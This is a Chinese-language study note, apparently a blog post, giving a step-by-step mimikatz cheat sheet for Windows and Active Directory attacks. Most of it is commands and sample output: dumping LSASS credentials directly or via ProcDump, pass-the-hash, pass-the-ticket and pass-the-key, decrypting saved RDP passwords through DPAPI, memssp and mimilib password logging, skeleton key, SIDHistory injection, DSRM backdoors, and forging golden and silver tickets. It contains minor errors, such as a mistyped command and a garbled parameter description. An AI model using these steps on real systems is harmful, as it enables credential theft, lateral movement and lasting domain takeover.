【笔记】mimikatz学习笔记

前言

mimikatz学习笔记

下载依赖

1
2
3
certutil -urlcache -split -f https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
"C:\Program Files\7-Zip\7z.exe" x mimikatz_trunk.zip -omimikatz
cd mimikatz

启动mimikatz控制台

Windows x32

1
.\Win32\mimikatz.exe
1
2
3
4
5
6
7
8
  .#####.   mimikatz 2.2.0 (x86) #19041 Sep 19 2022 17:43:26
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Windows x64

1
.\x64\mimikatz.exe
1
2
3
4
5
6
7
8
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

启动mimikatz控制台后立即执行命令

  • 可以在启动mimikatz控制台后立即执行多条命令
1
.\mimikatz.exe <cmd_1> <cmd_2>

退出mimikatz控制台

1
mimikatz exit

输出到控制台

1
mimikatz privilege::debug

输出到日志文件

1
mimikatz log

抓取内存中的密码

1
mimikatz sekurlsa::logonpasswords

通过ProcDump导出内存的数据再抓取密码

  • 如果Windows打了补丁KB2871997,关闭了Wdigest功能,不能直接抓取内存中的密码
  • 如果系统为Windows10及以上或WindowsServer2022R2及以上,内存缓存默认禁止保存明文密码,不能直接抓取内存中的密码
  • 可以通过ProcDump先导出内存的数据,再通过mimikatz抓取密码

下载依赖

Windows

1
2
wget https://download.sysinternals.com/files/Procdump.zip
Expand-Archive -Path "Procdump.zip" -DestinationPath "Procdump"

导出lsass.exe进程存储在内存中的文件

lsass.exe:进程的可执行文件
lsass.dmp:导出后的文件

1
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

载入lsass.dmp文件到攻击者系统内存

1
mimikatz "sekurlsa::minidump lsass.dmp"

在攻击者系统抓取密码

1
mimikatz "sekurlsa::logonPasswords full"

PTH(Pass The Hash)

抓取密码Hash

1
mimikatz sekurlsa::logonpasswords
  • 如果目标是Win7以下的系统,需要获取LM的值
  • 如果目标是Win7及以上的系统,需要获取NTLM的值

发送CMD命令

/domain:<domain>:指定域名,如果不是域用户,则指定主机名
/user:<username>:指定用户名
/ntlm:<hash>:指定上一步骤获取的密码哈希值,根据系统选择LM或NTLM
/run:"cmd.exe /c <cmd>":定义要指定的CMD命令,如果没有指定则默认在目标系统中打开CMD窗口

1
mimikatz sekurlsa::pth /domain:<domain> /user:<username> /ntlm:<hash> /run:"cmd.exe /c <cmd>"

PTT(Pass The Ticket)

利用kekeo根据密码Hash生成凭据(可选)

导出凭据

1
mimikatz sekurlsa::tickets /export

导入凭据

<file>.kirbi:上一步骤导出的凭据

1
mimikatz kerberos::ptt <file>.kirbi

建立连接

1
net use \\<ip>\ipc$

PTK(Pass The Key)

  • 必须在安装了KB2871997补丁且禁用了NTLM的时候才可以使用Key进行登录

抓取密钥

1
mimikatz sekurlsa::ekeys
  • 获取aes256_hmac的值

发送CMD命令

/domain:<domain>:指定域名,如果不是域用户,则指定主机名
/user:<username>:指定用户名
/aes256:<aes256>:指定上一步骤获取的aes256_hmac的值
/run:"cmd.exe /c <cmd>":定义要指定的CMD命令,如果没有指定则默认在目标系统中打开CMD窗口

1
mimikatz sekurlsa::pth /domain:<domain> /user:<username> /aes256:<aes256> /run:"cmd.exe /c <cmd>"

Kerberos凭据

查看凭据

1
mimikatz kerberos::list

导出凭据

1
mimikatz kerberos::list /export

RDP凭据

  • 在使用RDP时勾选了允许我保存凭据

查看保存的凭据

1
cmdkey /list

获取credentials文件名

1
dir /a %UserProfile%\appdata\local\microsoft\credentials\*
1
2012/12/12 12:12 382 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

通过mimikatz获取credentials文件中记录的guidMasterKey值

1
mimikatz dpapi::cred /in:%LocalAppData%\microsoft\credentials\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
1
2
**BLOB**
guidMasterKey : {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}

通过mimikatz获取guidMasterKey对应的MasterKey值

1
mimikatz sekurlsa::dpapi
1
2
3
[00000000]
* GUID : {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
* MasterKey : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

通过mimikatz解密MasterKey值得到RDP存储的密码

1
mimikatz dpapi::cred /in:%LocalAppData%\microsoft\credentials\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /masterkey:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
1
2
3
**CREDENTIAL**
Username : <username>
CredentialBlob : <password>

权限维持

  • 每当登录Windows时,会将明文密码记录到C:\Windows\System32\mimilsa.log文件中

重启系统之前记录密码到文件

1
mimikatz misc::memssp

重启系统之后记录密码到文件

  • 复制DLL文件mimilib.dllC:\Windows\System32\文件夹中

  • 添加注册表键值

mimilib:DLL文件名

1
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

将mimikatz作为域控管理员密码

  • 将mimikatz作为域控管理员密码写入到内存,重启后失效
1
mimikatz misc::skeleton

建立连接

1
net use \\<domain>\ipc$ "mimikatz" /user:<domain>\Administrator

给予域内用户域管理员权限

  • 将域内用户的SIDHistory修改为域管理员的SID

<username>:域内用户名

1
2
mimikatz sid::patch
mimikatz sid::add /sam:<username> /new:administrator
  • 此时域内用户保留了域管理员权限,同时不改变当前的SID

利用DSRM目录服务恢复模式

获取krbtgt用户的NTLM哈希值

1
mimikatz lsadump::lsa /patch /name:krbtgt

查看Administrator用户的NTLM哈希值

1
mimikatz lsadump::sam

修改DSRM的密码

  • 打开目录服务工具
1
ntdsutil
  • 打开重置DSRM管理员密码工具
1
ntdsutil: set dsrm password
  • 将DSRM的密码与krbtgt用户保持同步

因为krbtgt用户的密码通常不会修改

1
重置 DSRM 管理员密码: sync from domain account krbtgt
  • 退出重置DSRM管理员密码工具
1
重置 DSRM 管理员密码: q
  • 退出目录服务工具
1
ntdsutil: q

修改DSRM登录方式

-value:指定参数值

0:禁用
1:只能本地登录
2:支持网络登录

1
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

利用PTH传递攻击

<hash>:krbtgt用户的NTLM哈希值

1
mimikatz sekurlsa::pth /domain:<domain> /user:Administrator /ntlm:<hash>

黄金凭据

  • 利用krbtgt用户的NTLM哈希值制作黄金凭据

获取任意域内需要权限维持的用户的SID

1
whoami /user

获取所有用户的NTLM哈希值

1
mimikatz lsadump::lsa /patch
获取krbtgt用户的NTLM哈希值
1
mimikatz lsadump::lsa /patch /name:krbtgt

制作黄金凭据

  • 通过krbtgt用户的NTLM哈希值生成凭据文件

/user:<username>:指定任意域内需要权限维持的用户的SID
/sid:<sid>:指定这个域内用户的SID,不需要后缀
/krbtgt:<hash>:指定krbtgt用户的NTLM哈希值
/ticket:<file>.kirbi:定义生成的凭据文件名

1
mimikat kerberos::golden /domain:<domain> /user:<username> /sid:<sid> /krbtgt:<hash> /ticket:<file>.kirbi

导入凭据文件到内存

1
mimikatz kerberos::ptt <file>.kirbi

建立连接

1
net use \\<ip>\ipc$

白银凭据

  • 利用域管理员用户的NTLM哈希值制作白银凭据
  • 白银票据是利用CIFS文件共享服务的漏洞,所以得到的白银凭据只能用于访问文件

获取任意域内需要权限维持的用户的SID

1
whoami /user

获取域控计算机名和密码NTLM哈希值

1
mimikatz sekurlsa::logonpasswords
1
2
3
4
msv:
* Username : <computername>
* Domain : <domain>
* NTLM : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

制作白银凭据

  • 制作白银凭据并直接导入到内存

/user:<username>:指定任意域内需要权限维持的用户的SID
/sid:<sid>:指定这个域内用户的SID,不需要后缀
/target:<computername>:指定域控计算机名
/target:<computername>:指定域控计算机名
/rc4:<hash>:指定域控计算机密码NTLM哈希值

1
mimikatz kerberos::golden /domain:<domain> /user:<username> /sid:<sid> /target:<computername> /rc4:<hash> /service:cifs /ptt

建立连接

1
net use \\<ip>\ipc$

完成